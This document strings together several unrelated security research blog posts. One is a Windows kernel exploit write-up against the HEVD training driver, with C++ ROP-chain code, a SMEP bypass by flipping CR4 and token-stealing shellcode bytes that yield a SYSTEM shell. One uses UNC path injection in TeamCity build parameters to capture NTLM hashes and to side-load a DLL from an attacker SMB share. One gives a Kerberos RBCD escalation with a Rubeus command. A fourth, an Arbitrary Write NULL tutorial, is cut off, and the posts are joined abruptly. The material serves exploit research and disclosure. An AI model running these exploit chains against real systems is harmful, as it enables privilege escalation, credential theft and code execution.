// Allocating Fake Stack with ROP chain in a pre-defined address [0x48000000]
int index = 0;
LPVOID fakeStack = VirtualAlloc((LPVOID)0x48000000, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
QWORD* _fakeStack = reinterpret_cast<QWORD*>((INT64)0x48000000 + 0x28); // add esp, 0x28
_fakeStack[index++] = SMEPBypass.POP_RCX; // POP RCX
_fakeStack[index++] = 0x3506f8 ^ 1UL << 20; // CR4 value (bit flip)
_fakeStack[index++] = SMEPBypass.MOV_CR4_RCX; // MOV CR4, RCX
_fakeStack[index++] = (INT64)shellcode; // JMP SHELLCODE
USER_CONTROLLED_OBJECT UBUF = { 0 };
// Malicious user-controlled struct
UBUF.ObjectID = 0x4141414141414141;
UBUF.ObjectType = (INT64)SMEPBypass.STACK_PIVOT; // This address will be "[CALL]ed"
if (NtDeviceIoControlFile((HANDLE)sock, nullptr, nullptr, nullptr, &ioStatusBlock, ioctlCode, &UBUF,
0x123, &outBuffer, 0x321) != STATUS_SUCCESS) {
std::cout << "\t[-] Failed to send IOCTL request to HEVD.sys" << std::endl;
}
return 0;
}
int main() {
SMEPBypassInitializer();
exploit();
return 0;
}
After exploit executes, we have the follow WinDBGoutput:
After mov esp, 0x48000000instruction execution, we notice that it crashed and returned a segmentation fault as an exception named UNEXPECTED_KERNEL_MODE_TRAP (7F), now let’s see our stack.
So, what can we do next?
Now this blogpost can really start. After all briefing covering the techniques, it’s time to explain why stack is one of the most confuse things in a exploitation development, we will see how it can easily turn a simple vulnerability attack into a brain-death issue.
Now, we’ll have to go deep into Memory Managment topic as way to understand concepts about Memory Segments, Virtual Allocation, and Paging.
According to Wikipedia
The kernel has full access to the system’s memory and must allow processes to safely access this memory as they require it. Often the first step in doing this is virtual addressing, usually achieved by paging and/or segmentation. Virtual addressing allows the kernel to make a given physical address appear to be another address, the virtual address.
<…snip…>
In computing, a virtual address space (VAS) or address space is the set of ranges of virtual addresses that an operating system makes available to a process.[1] The range of virtual addresses usually starts at a low address and can extend to the highest address allowed by the computer’s instruction set architecture and supported by the operating system’s pointer size implementation, which can be 4 bytes for 32-bit or 8 bytes for 64-bit OS versions. This provides several benefits, one of which is security through process isolation assuming each process is given a separate address space.
As we can see, Virtual Addressing refers to the space addressedfor each user-application and kernel functions, reserving memory spaces during a OS usage. When an application is initialized, the operation system understand that needs to allocate new space in memory, addressing into a valid range of addresses, consequently avoiding damaging kernel current memory region.
That’s the case when you try toplay a game, and for some reason, a bunch of GB’s from your current memory increasesbefore the game starts, all data was allocated and most of this dataand addresses initiates nullified until game file-data starts to be loaded into memory.
With the use of malloc() and VirtualAlloc() functions, you can actually “address” a range of Virtual Memory into a defined address, that’s why Stack Pivoting is the best solution for make this exploit works.
As you can see in the above image, Virtual Addresses communicates to application/processby sending data and values, so the processes can be able to query, allocateor freeeach data any time.
As Wikipedia says:
In computing, virtual memory, or virtual storage,[b] is a memory management technique that provides an “idealized abstractionof the storage resources that are actually available on a given machine”[3] which “creates the illusionto users of a very large (main) memory”.[4]
The computer’s operating system, using a combination of hardwareand software, maps memory addresses used by a program, called virtual addresses, into physical addresses in computer memory. Main storage, as seen by a process or task, appears as a contiguous address space or collection of contiguous segments. The operating system manages virtual address spaces and the assignment of real memory to virtual memory.[5] Address translation hardware in the CPU, often referred to as a Memory Management Unit (MMU), automatically translates virtual addresses to physical addresses. Softwarewithin the operating system may extend these capabilities, utilizing, e.g., disk storage, to provide a virtual address space that can exceed the capacity of real memory and thus reference more memory than is physicallypresent in the computer.
The primary benefits of virtual memory include freeingapplications from having to manage a shared memory space, ability to share memory used by libraries betweenprocesses, increased security due to memory isolation, and being able to conceptually use more memory than might be physicallyavailable, using the technique of pagingor segmentation.
As mentioned before, addressing/allocating Virtual Memory ranges (from a user-land perspective), allow us to manipulate de usage of addresses data into our current application, but that’s a problem. When an address range of Virtual Memory is allocated, still not part of OS physical operations due the abstracted/fake allocation into memory. Following the idea of our previous example, when a gamestarts, Virtual Memory is allocated and Memory Management Unit (MMU) automatically traslate data between physical and virtualaddresses.
From a developer perspective, when an application consumes memory, it’s important to free()/VirtualFree() unused data, to preventdata won’t crashthe whole application, once so many addresses are set to be in use by the system. Also, OS can deal with processes which consumes many addresses, automatically closing this ones avoidingcritical errors. There cases that applications exceed the capacity of RAM free space, in this situations, the allocation can be extended into Disk Storage.
Physical memory also called Paged Memory, imply to memory which is in use by applications and processes. This memory scheme can retrivedata from Virtual Allocations, consequently utilizing it data as part of current execution.
According to Wikipedia:
In computer operating systems, memory paging (or swappingon some Unix-like systems) is a memory management scheme by which a computer stores and retrieves data from secondary storage[a] for use in main memory.[citation needed] In this scheme, the operating system retrieves data from secondary storage in same-size blocks called pages. Pagingis an important part of virtual memory implementations in modern operating systems, using secondary storage to let programs exceed the size of available physical memory.
When a process tries to reference a page not currently mapped to a page frame in RAM, the processor treats this invalid memory reference as a page fault and transfers control from the program to the operating system.
A page table is the data structure used by a virtual memory system in a computer operating system tostore the mapping between virtual addresses and physical addresses. Virtual addresses are used by the program executed by the accessing process, while physical addresses are used by the hardware, or more specifically, by the Random-Access Memory (RAM) subsystem. The page table is a key component of virtual address translation that is necessary to access data in memory.
Kernel can identifies when an address lies in a Paged Memoryspace by utilizing Page Table Entry (PTE) , which differs each type of allocation and mapping memory segments.
With Page Table Entry (PTE), Kernel is able to map the correct offset in order to translatedata between each address. If there’s a invalid mapped memory region in the translations, a Page Fault is returned, and OS crashes. In case of Windows Kernel, a _KTRAP_FRAME is called, and an error should be expected as bellow:
When a binary exploit is developed, memory must to be manipulate in most of the cases. Through C/C++ functions as VirtualAlloc(), if you manage to allocate data into address 0x48000000with size 0x1000, your current address 0x48000000are now “addressed” into Page Table as a Virtual Address until 0x48001000 and it will NOT be treat as part of Physical Memory by Kernel (remains as Non-Paged one). It’s important to pay attention in this detail thus if you try to use the example above in a Kernel-Landperspective, a Trap Frame will be handled by WinDBGas follows:
To deal with this issue, we can use VirtualLock()function from C/C++once it locks the specified region of the process’s virtual address space into physical memory, thus preveting Page Faults. So, with that in mind, we can now changes our Virtual Memory Addressto a Physicalone.
Now should be possible to achieve code execution, right?
<...snip...>
// Allocating Fake Stack with ROP chain in a pre-defined address [0x48000000]
int index = 0;
LPVOID fakeStack = VirtualAlloc((LPVOID)0x48000000, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
QWORD* _fakeStack = reinterpret_cast<QWORD*>((INT64)0x48000000 + 0x28); // add esp, 0x28
_fakeStack[index++] = SMEPBypass.POP_RCX; // POP RCX
_fakeStack[index++] = 0x3506f8 ^ 1UL << 20; // CR4 value (bit flip)
_fakeStack[index++] = SMEPBypass.MOV_CR4_RCX; // MOV CR4, RCX
_fakeStack[index++] = (INT64)shellcode; // JMP SHELLCODE
// Mapping address to Physical Memory <------------
if (VirtualLock(fakeStack, 0x10000)) {
std::cout << "[+] Address Mapped to Physical Memory" << std::endl;
USER_CONTROLLED_OBJECT UBUF = { 0 };
// Malicious user-controlled struct
UBUF.ObjectID = 0x4141414141414141;
UBUF.ObjectType = (INT64)SMEPBypass.STACK_PIVOT; // This address will be "[CALL]ed"
if (NtDeviceIoControlFile((HANDLE)sock, nullptr, nullptr, nullptr, &ioStatusBlock, ioctlCode, &UBUF,
0x123, &outBuffer, 0x321) != STATUS_SUCCESS) {
std::cout << "\t[-] Failed to send IOCTL request to HEVD.sys" << std::endl;
}
return 0;
}
<...snip...>
Again, the same error popped out even with address mapped into Physical Memory.
After million of tests, with different patterns of memory allocations, i’ve found a solution attempt. According to Martin Mielke and kristal-g, a reserved memory space should be used before the main allocation from address 0x48000000.
When a Trap Frameoccur, we can clearly notice that lower addresses from 0x48000000are used by stack, and if these addresses keeps with unallocated status, they can’t be used by current stack frame.
As you can see, 0x47fffff70is being utilized by ourstack frame, but once we are starting the allocation from 0x48000000address, it won’t be a valid one. To deal with this issue, a reservationmemory before 0x48000000 must be done.
<...snip...>
LPVOID fakeStack = VirtualAlloc((LPVOID)((INT64)0x48000000-0x1000), 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
<...snip...>
Now we can actually allocate into 0x48000000–0x1000 address, finally allowing us to ignore DoubleFaultexception.
Let’s run our exploit again, it should works!
No matter how you give a try to manage memory, changing addresses or fill up stackwith datahoping that works well, it will always catchand returns an exceptioneven when your code seems to be correct. it took me a while 3 monthsof rebooting my VM, and trying to change code to understand why it still happening.
Let’s imagine stack frame as a “big ball pit”, and there are located a bunch of data, and when a new ball is “placed” in this space, all the others “changes” their location. That’s exatcly what happens when you tries to manipulate memory, changing current stack to an another one as mov esp, 0x48000000 does. When a modification of current stack frame is done, the same “believes” that current Physical Memory are mappedto another processes, and for some reason, you can actually see things like this after crash.
<...snip...>
LPVOID fakeStack = VirtualAlloc((LPVOID)((INT64)0x48000000 - 0x1000), 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Reserved memory before Stack Pivoting
*(INT64*)(0x48000000 - 0x1000) = 0xDEADBEEFDEADBEEF;
*(INT64*)(0x48000000 - 0x900) = 0xDEADBEEFDEADBEEF;
QWORD* _fakeStack = reinterpret_cast<QWORD*>((INT64)0x48000000 + 0x28); // add esp, 0x28
int index = 0;
_fakeStack[index++] = SMEPBypass.POP_RCX; // POP RCX
_fakeStack[index++] = 0x3506f8 ^ 1UL << 20; // CR4 value (bit flip)
_fakeStack[index++] = SMEPBypass.MOV_CR4_RCX; // MOV CR4, RCX
_fakeStack[index++] = (INT64)shellcode; // JMP SHELLCODE
<...snip...>
After pollute Stack Frame in a reserved space before Stack Pivoting offsetwe can cleary notice that different addresses poped out into our current Stack Frame, but our Trap Frame still remains the same as before 0x47fffe70. If we fill up all stack with 0x41bytes, we’ll notice that some bytes will appear with different values as below:
<...snip...>
// Filling up reserved space memory
RtlFillMemory((LPVOID)(0x48000000 - 0x1000), 0x1000, 'A');
QWORD* _fakeStack = reinterpret_cast<QWORD*>((INT64)0x48000000 + 0x28); // add esp, 0x28
int index = 0;
_fakeStack[index++] = SMEPBypass.POP_RCX; // POP RCX
_fakeStack[index++] = 0x3506f8 ^ 1UL << 20; // CR4 value (bit flip)
_fakeStack[index++] = SMEPBypass.MOV_CR4_RCX; // MOV CR4, RCX
_fakeStack[index++] = (INT64)shellcode; // JMP SHELLCODE
<...snip...>
With this results in mind, we have some alternatives to considerate for this situation:
So, let’s give a try at first to increase the space of our reserved memory
<...snip...>
// Allocating Fake Stack with ROP chain in a pre-defined address [0x48000000]
LPVOID fakeStack = VirtualAlloc((LPVOID)((INT64)0x48000000 - 0x5000), 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Filling up reserved space memory
// Size increased to 0x5000
RtlFillMemory((LPVOID)(0x48000000 - 0x5000), 0x5000, 'A');
QWORD* _fakeStack = reinterpret_cast<QWORD*>((INT64)0x48000000 + 0x28); // add esp, 0x28
int index = 0;
_fakeStack[index++] = SMEPBypass.POP_RCX; // POP RCX
_fakeStack[index++] = 0x3506f8 ^ 1UL << 20; // CR4 value (bit flip)
_fakeStack[index++] = SMEPBypass.MOV_CR4_RCX; // MOV CR4, RCX
_fakeStack[index++] = (INT64)shellcode; // JMP SHELLCODE
<...snip...>
For some reason, after increased our reserved memory before mov esp, 0x48000000, the whole kernel has crashed, and when 0x48000000is moved into our current RSPregister, our stack framechanges to the User Processes Contextdue the size of address it self. That’s why i’ve mentioned before that stack seems to be a “Ball pit” sometimes, and after all, we still getting the same Trap Frame exception.
No matter how you try to manipulate memory, it always will be caught and it will crash some application, after that, WinDBGwill handle it as an exception and BSODyour system in a terrible horror movie.
INT3, a.k.a 0xCCand breakpoints, can be defined as a signalfor any debbugerto catchand stop an execution of attached processesor a current development code. It can be performed by “clicking” into a debug option in some part of an IDE UIor by insertingINT3instruction directly into target process through0xCC opcode. So, in a WinDBGcommand line, a command named bp still available to breakpointaddresses as follow:
// Common Breakpoint, just stop into this address before it runs
bp 0x48000000
// Conditional Breakpoint, stop when r12 register is not equal to 1337
// if not equal, changes current r12 value to 0x1337
// if equal, changes r12 reg value with r13 one
bp 0x48000000 ".if( @r12 != 0x1337) { r12=1337 }.else { r12=r13 }"
etc...
Also, it’s possible to enjoy the use of this mechanism to breakpointa shellcode, and see if it code is running correctly during a exploitation development phase.
BYTE sc[256] = {
0xcc, // <--- We send a debbuger signal and stop it execution
// before code execution
0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48,
0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc0, 0x4d,
0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81, 0xe8, 0x48,
0x04, 0x00, 0x00, 0x4d, 0x8b, 0x88, 0x40, 0x04, 0x00, 0x00,
0x49, 0x83, 0xf9, 0x04, 0x75, 0xe5, 0x49, 0x8b, 0x88, 0xb8,
0x04, 0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8,
0x04, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01,
0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x66,
0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x48,
0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68,
0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00,
0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xaa,
0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48,
0x0f, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff
};
According to Wikipedia:
The INT3 instruction is a one-byte-instruction defined for use by debuggers to temporarily replacean instruction in a running program in order to set a code breakpoint. The more general INT XXh instructions are encoded using two bytes. This makes them unsuitable for use in patching instructions (which can be one byte long); see SIGTRAP.
The opcode for INT3 is 0xCC, as opposed to the opcode for INT immediate8, which is 0xCD immediate8. Since the dedicated 0xCC opcode has some desired special properties for debugging, which are not shared by the normal two-byte opcode for an INT3, assemblers do not normally generate the generic 0xCD 0x03 opcode from mnemonics.
After an explanation about breakpoints, it’s important to note that every previous tests are made withbreakpointsin order to develop our exploit, but it’s time to forget it and skip all INT3 instructions.
Let’s give a try to re-run our exploit without the needing of breakpointa thing.
Kernel won’t crashes anymore, and system memory still intact!
Now shellcodeis being executed after our SMEPbypass through theROP chainand we’re now able to spawn a NT AUTHORITY\SYSTEMshell.
BAAAM!! Finally!!!! aNT AUTHORITY\SYSTEMshell after all!
So, now we can pay attention that breakpointsalso can be a dangerous thing into a exploitation development.
The explanation about this issue seems to be very simple. When WinDBG debbuger catchesan exceptionfrom kernel, Operation Systemgets a signal that something went wrong occurred, but when a Stack Manipulation is being doing, everythingthat you do is an exception. The Operation Systemdon’t understand that “an attacker is trying to manipulate Stack”, he just catchand rebootit self because the Stackare different from your current kernel context.
This headhache occurs likeStructured Exception Handling (SEH)vulnerabilities, once when the set of breakpointsand even a debbugerinto a process, can cause crashes or unitilizationof the same.
In my case, a away to pass through exceptionis by ignoring all breakpoints, and let kernel don’t reboot with a Non-Criticalexception.
With this blogpost, i’ve learned alot of content that i didn’t knew before starting to write. It was a fun experience and extreme technical (specially for me), it took me 2 days to write about a thing which cost me 3 months long! you should probably had 10 minutes read, which is awesome and makes me happy too!
It’s important to note that most of this blogpost are deep explaining about memory itself, and trying to showing off how as an attacker is possible to improve our way to deal with troubles, looking around for all possibilities which can help us to achieve our goals, in that caseNT AUTHORITY\SYSTEM shell.
Beware of Stackand Breakpoints, this things can be a headache sometimes, and you will NEVER know until you think about changes your attack methodoly.
Thanks to the people who helped me along all this way:
Hope you enjoyed!
About a month ago I decided to take a look at JetBrains TeamCity, as I wanted to learn more about CVE-2022-25263 (an authenticated OS Command Injection in the Agent Push functionality).
Initially I just wanted to find the affected feature and test the mitigation put in place, eventually I ended up searching for other interesting behaviors that could be considered security issues- and came across something I believed was a vulnerability, however upon disclosure the vendor convinced me that the situation was considered normal in TeamCity's context and its thread model. Since the feature I was testing allowed me to set some of the environmental variables later passed to the given builder step process (in my case it was python.exe).
During that process I accidently discovered that Python on Windows can be used to side-load an arbitrary DLL named rsaenh.dll, placed in a directory named system32, located in a directory pointed by the SystemRoot environment variable passed to the process (it loads %SystemRoot%/system32/rsaenh.dll).
For the purpose of testing, I installed TeamCity on Windows 10 64-bit, with default settings, setting both the TeamCity Server and the TeamCity Build Agent to run as a regular user (which is the default setting).
I used the same system for both the TeamCity Server and the Build Agent.
First, as admin, I created a sample project with one build step of type Python.
I installed Python3 (python3.10 from the Microsoft App Store, checked the box to get it added to the PATH), so the agent would be compatible to run the build. I also created a hello world python build script:
From that point I switched to a regular user account, which was not allowed to define or edit build steps, but only to trigger them, with the ability to control custom build parameters (including some environmental variables).
I came across two separate instances of UNC path injection, allowing me to attack the Build Agent. In both cases I could make the system connect via SMB to the share of my choosing (allowing me to capture the NTLM hash, so I could try to crack it offline or SMB-relay it).
In case of build steps utilizing python, it also turned out possible to load an arbitrary DLL file from the share I set up with smbd hosted from the KALI box.
The local IP address of the Windows system was 192.168.99.4. I ran a KALI Linux box in the same network, under 192.168.99.5.
Injecting UNC to capture the hash / NTLM-relay
On the KALI box, I ran responder with default settings, like this:
Then, before running the build, I set the teamcity.build.checkoutDir parameter to \\192.168.99.5\pub:
I also ran Procmon and set up a filter to catch any events with the "Path" attribute containing "192.168.99.5".
I clicked "Run Build", which resulted in the UNC path being read by the service, as shown in the screenshot below:
Responder successfully caught the hash (multiple times):
I noticed that the teamcity.build.checkoutDir was validated and eventually it would not be used to attempt to load the build script (which was what I was trying to achieve in the first place by tampering with it), and the application fell back on the default value C:\TeamCity\buildAgent\work\2b35ac7e0452d98f when running the build. Still, before validation, the service interacted with the share, which I believe should not be the case.
Injecting UNC to load arbitrary DLL
I discovered I could attack the Build Agent by poisoning environmental variables the same way as I attacked the server, via build parameter customization.
Since my build step used python, I played with it a bit to see if I could influence the way it loads DLLs by changing environmental variables. It turned out I could.
Python on Windows can be used to side-load an arbitrary DLL named rsaenh.dll, placed in a directory named system32, located in a directory pointed by the SystemRoot environment variable passed to the process.
For example, by setting the SystemRoot environmental variable to "\\192.168.99.5\pub" (from the default "C:\WINDOWS" value):
In case of python3.10.exe, this resulted in the python executable trying to load \\192.168.99.5\pub\system32\rsaenh.dll:
With Responder running, just like in case of attacking the TeamCity Server, hashes were captured:
However, since python3.10 looked eager to load a DLL from a path that could be controlled with the SystemRoot variable, I decided to spin up an SMB share with public anonymous access and provide a copy of the original rsaenh.dll file into the pub\system32\ directory shared with SMB.
I used the following /etc/samba/smb.config:
[global]
workgroup = WORKGROUP
log file = /var/log/samba/log.%m
max log size = 1000
logging = file
panic action = /usr/share/samba/panic-action %d
server role = standalone server
map to guest = bad user
[pub]
comment = some useful files
read only = no
path = /home/pub
guest ok = yes
create mask = 0777
directory mask = 0777
I stopped Responder to free up the 445 port, I started smbd:
service smbd start
Then, I ran the build again, and had the python3.10 executable successfully load and execute the DLL from my share, demonstrating a vector of RCE on the Build Agent:
Not an issue from TeamCity perspective
About a week after reporting the issue to the vendor, I received a response, clarifying that any user having access to TeamCity is considered to have access to all build agent systems, therefore code execution on any build agent system, triggered from low-privileged user in TeamCity, does not violate any security boundaries. They also provided an example of an earlier, very similar submission, and the clarification that was given upon its closure https://youtrack.jetbrains.com/issue/TW-74408 (with a nice code injection vector via perl environmental variable).
python loading rsaenh.dll following the SystemRoot env variable
The fact that python used an environmental variable to load a DLL is an interesting occurrence on its own, as it could be used locally as an evasive technique alternative to rundll32.exe (https://attack.mitre.org/techniques/T1574/002/, https://attack.mitre.org/techniques/T1129/) - to inject malicious code into a process created from an original, signed python3.10.exe executable .
POC
The following code was used to build the DLL. It simply grabs the current username and current process command line, and appends them to a text file named poc.txt. Whenever DllMain is executed, for whatever reason, the poc.txt file will be appended with a line containing those details:
First, let's try to get it loaded without any signatures, locally:
Procmon output watching for any events with Path ending with "rsaenh.dll":
The poc.txt file was created in the current directory of C:\Users\ewilded\HACKING\SHELLING\research\cmd.exe\python3_side_loading_via_SystemRoot while running python:
Similar cases
There must be more cases of popular software using environmental variables to locate some of the shared libraries they load.
To perform such a search dynamically, all executables in the scope directory could be iterated through and executed multiple times, each time testing arbitrary values set to individual common environmental variables like %SystemRoot% or %WINDIR%. This alone would be a good approach for starters, but it would definitely not provide an exhaustive coverage - most of the places in code those load attempts happen are not reachable without hitting proper command lines, specific to each executable.
A more exhaustive, and but also demanding approach, would be static analysis of all PE files in the scope that simply indicate the usage of both LoadLibrary and GetEnv functions (e..g LoadLibraryExW() and _wgetenv(), as python3.10.exe does) in their import tables.
* Caveats apply.
Resource Based Constrained Delegate (RBCD) privilege escalation, described by Elad Shamir in the "Wagging the Dog" blog post is a devious way of exploiting Kerberos to elevate privileged on a local Windows machine. All it requires is write access to local computer's domain account to modify the msDS-AllowedToActOnBehalfOfOtherIdentity LDAP attribute to add another account's SID. You can then use that account with the Services For User (S4U) protocols to get a Kerberos service ticket for the local machine as any user on the domain including local administrators. From there you can create a new service or whatever else you need to do.
The key is how you write to the LDAP server under the local computer's domain account. There's been various approaches usually abusing authentication relay. For example, I described one relay vector which abused DCOM. Someone else has then put this together in a turnkey tool, KrbRelayUp.
One additional criteria for this to work is having access to another computer account to perform the attack. Well this isn't strictly true, there's the Shadow Credentials attack which allows you to reuse the same local computer account, but in general you need a computer account you control. Normally this isn't a problem, as the DC allows normal users to create new computer accounts up to a limit set by the domain's ms-DS-MachineAccountQuota attribute value. This attribute defaults to 10, but an administrator could set it to 0 and block the attack, which is probably recommend.
But I wondered why this wouldn't work as a normal user. The msDS-AllowedToActOnBehalfOfOtherIdentity attribute just needs the SID for the account to be allowed to delegate to the computer. Why can't we just add the user's SID and perform the S4U dance? To give us the best chance I'll assume we have knowledge of a user's password, how you get this is entirely up to you. Running the attack through Rubeus shows our problem.
PS C:\> Rubeus.exe s4u /user:charlie /domain:domain.local /dc:primarydc.domain.local /rc4:79bf93c9501b151506adc21ba0397b33 /impersonateuser:Administrator /msdsspn:cifs/WIN10TEST.domain.local
We don't even get past the first S4U2Self stage of the attack, it fails with a KDC_ERR_S_PRINCIPAL_UNKNOWN error. This error typically indicates the KDC doesn't know what encryption key to use for the generated ticket. If you add an SPN to the user's account however it all succeeds. This would imply it's not a problem with a user account per-se, but instead just a problem of the KDC not being able to select the correct key.
Technically speaking there should be no reason that the KDC couldn't use the user's long term key if you requested a ticket for their UPN, but it doesn't (contrary to an argument I had on /r/netsec the other day with someone who was adamant that SPN's are a convenience, not a fundamental requirement of Kerberos).
So what to do? There is a way of getting a ticket encrypted for a UPN by using the User 2 User (U2U) extension. Would this work here? Looking at the Rubeus code it seems requesting a U2U S4U2Self ticket is supported, but the parameters are not set for the S4U attack. Let's set those parameters to request a U2U ticket and see if it works.
Okay, we're getting closer. The S4U2Self request was successful, unfortunately the S4U2Proxy request was not, failing with a KDC_ERR_BADOPTION error. After a bit of playing around this is almost certainly because the KDC can't decrypt the ticket sent in the S4U2Proxy request. It'll try the user's long term key, but that will obviously fail. I tried to see if I could send the user's TGT with the request (in addition to the S4U2Self service ticket) but it still failed. Is this not going to be possible?
Thinking about this a bit more, I wondered, could I decrypt the S4U2Self ticket and then encrypt with the long term key I already know for the user? Technically speaking this would create a valid Kerberos ticket, however it wouldn't create a valid PAC. This is because the PAC contains a Server Signature which is a HMAC of the PAC using the key used to encrypt the ticket. The KDC checks this to ensure the PAC hasn't been modified or put into a new ticket, and if it's incorrect it'll fail the request.
As we know the key, we could just update this value. However, the Server Signature is protected by the KDC Signature which is a HMAC keyed with the KDC's own key. We don't know this key and so we can't update this second signature to match the modified Server Signature. Looks like we're stuck.
Still, what would happen if the user's long term key happened to match the TGT session key we used to encrypt the S4U2Self ticket? It's pretty unlikely to happen by chance, but with knowledge of the user's password we could conceivably change the user's password on the DC between the S4U2Self and the S4U2Proxy requests so that when submitting the ticket the KDC can decrypt it and perhaps we can successfully get the delegated ticket.
As we know the TGT's session key, one obvious approach would be to "crack" the hash value back to a valid Unicode password. For AES keys I think this is going to be difficult and even if successful could be time consuming. However, RC4 keys are just a MD4 hash with no additional protection against brute force cracking. Fortunately the code in Rubeus defaults to requesting an RC4 session key for the TGT, and MS have yet to disable RC4 by default in Windows domains. This seems like it might be doable, even if it takes a long time. We would also need the "cracked" password to be valid per the domain's password policy which adds extra complications.
However, I recalled when playing with the SAM RPC APIs that there is a SamrChangePasswordUser method which will change a user's password to an arbitrary NT hash. The only requirement is knowledge of the existing NT hash and we can set any new NT hash we like. This doesn't need to honor the password policy, except for the minimum age setting. We don't even need to deal with how to call the RPC API correctly as the SAM DLL exports the SamiChangePasswordUser API which does all the hard work.
I took some example C# code written by Vincent Le Toux and plugged that into Rubeus at the correct point, passing the current TGT's session key as the new NT hash. Let's see if it works:
And it does! Now the caveats:
A simple (not stealth) method utilizing NtQuerySystemInformation for Arbitrary Write NULL vulnerabilities
Today, we’re going to have a deep looking through an interesting exploitation technique using NtQuerySystemInformationsystem call in order to achieve a LPE - (Local Privilege Escalation) through HEVD - (Hacksys Extreme Vulnerable Driver). The follow content will only show about possibilities (but unreliable) techniques and methodologies on how to exploit a specify vulnerability typed Arbitrary Write NULL in most of vulnerable x86drivers (in case you doesn’t have certain tools in order to exploit them). Also, we’ll not cover how to install and configure kernel debugging or HEVD IOCLT communication, and all content from this write-up lies behind what should be done to work around with a view to get a LPE.Hope everyone enjoy! =)
First of all, we need to talk about what is Arbitrary Write NULL vulnerability, and at kernel perspective, what should be possible to do with it in order to achieve LPE in our simple cmd.exe session from ring3 (user-land).
In short, Arbitrary Write NULL is most like Arbitrary Write vulnerabilities, the difference behind them, is that the first one allows you to be able to write->[0x00000000] in whatever address/pointer you looking for, and the second one, allows you to define explicitly Write-What-Where, allowing things like write->[0xdeadbeef], meaning that you have control over value of an address/pointer which will be overflowed with 0xdeadbeef, instead only 0x00000000. At below we are going to have a looking deep in to HEVD driver vulnerable function, dissect and understand what is happening.
As you can see here, ifdef SECURE (which is not), probeForWrite() function should verify and confirm that our user input buffer is located at ring3, otherwise our input buffer with be nullified without properly security checks.
As commented, [edi] register is been overflowed with 0x00000000 by [ebx] register as occurs when compiled code wasn’t defined with #ifdef SECURE bit set.
Since IOCTLdrive connection is predefined, we can test it and see that our first 4 bytes from user-buffer (shellcode_ptr), is about to be nullified with 0x00000000.
After script run, and hit break-point, we can clearly notice that [edi] value contains our address to the pointer of user-buffer address shellcode_ptr -> 0x00500000.
As an example, the content of our shellcode is storing a piece of x86 assemblycode to LPE our permissions. At your first 4 bytes, you can see that have the initial parts of our shellcode start. Now ignoring the code located there, we’re only looking into 0xa16460cc address.
The problem here is obvious, as a simple user (ring3), if we send a whatever address, it will be nullified, no matter what or how, just it will stay NULL.
Said all that, we know from here that we actually only can write NULL bytes to our defined address/pointer, and do some magic to achieve LPE from there, but… how can we do that? Let’s talk about DACL & Security Description.
First of all, what is DACL and Security Description? how them can be exploited using Arbitrary Write NULL vulnerabilities?
According to https://networkencyclopedia.com/discretionary-access-control-list-dacl/
What is DACL (Discretionary Access Control List)?
A DACLstands for Discretionary Access Control List, in Microsoft Windows family, is an internal list attached to an object in Active Directory that specifies which users and groups can access the object and what kinds of operations they can perform on the object. In Windows 2000 and Windows NT, an internal list attached to a file or folder on a volume formatted using the NTFS that has a similar function.
How DACL works?
In Windows, each object in Active Directory or a local NTFS volume has an attribute called Security Descriptor that stores information about
The object’s owner (the security identifier or the owner) and the groups to which the owner belongs.
The discretionary access control list (DACL) of the object, which lists the security principals(users, groups, and computers) that have access to the object and their level of access.
The system access control list (SACL), which lists the security principals that should trigger audit events when accessing the list.
Basically, DACL is a list that contains features, one of them are called Security Description (we will take deep soon). This list are configured to handle calls and filter what object (files, processes, threads, etc), should be allowed or not for specific (user, groups, or computers). Hard to understand? Let me show up it as Window UI. =)
Maybe this image should be familiar to you right?. This area is one of various that you can manage DACL & Security Descriptions easily (without knowing that they actually exists).
As we can see, isn’t hard to understand what it is and why it was created, the thing is, what defines internally what permissions an user can have on it? What objects are configured in DACL to be filtered? let’s have a deep look into Windows Internals and his structs.
First of all, let’s take a look at WinDBG process list.
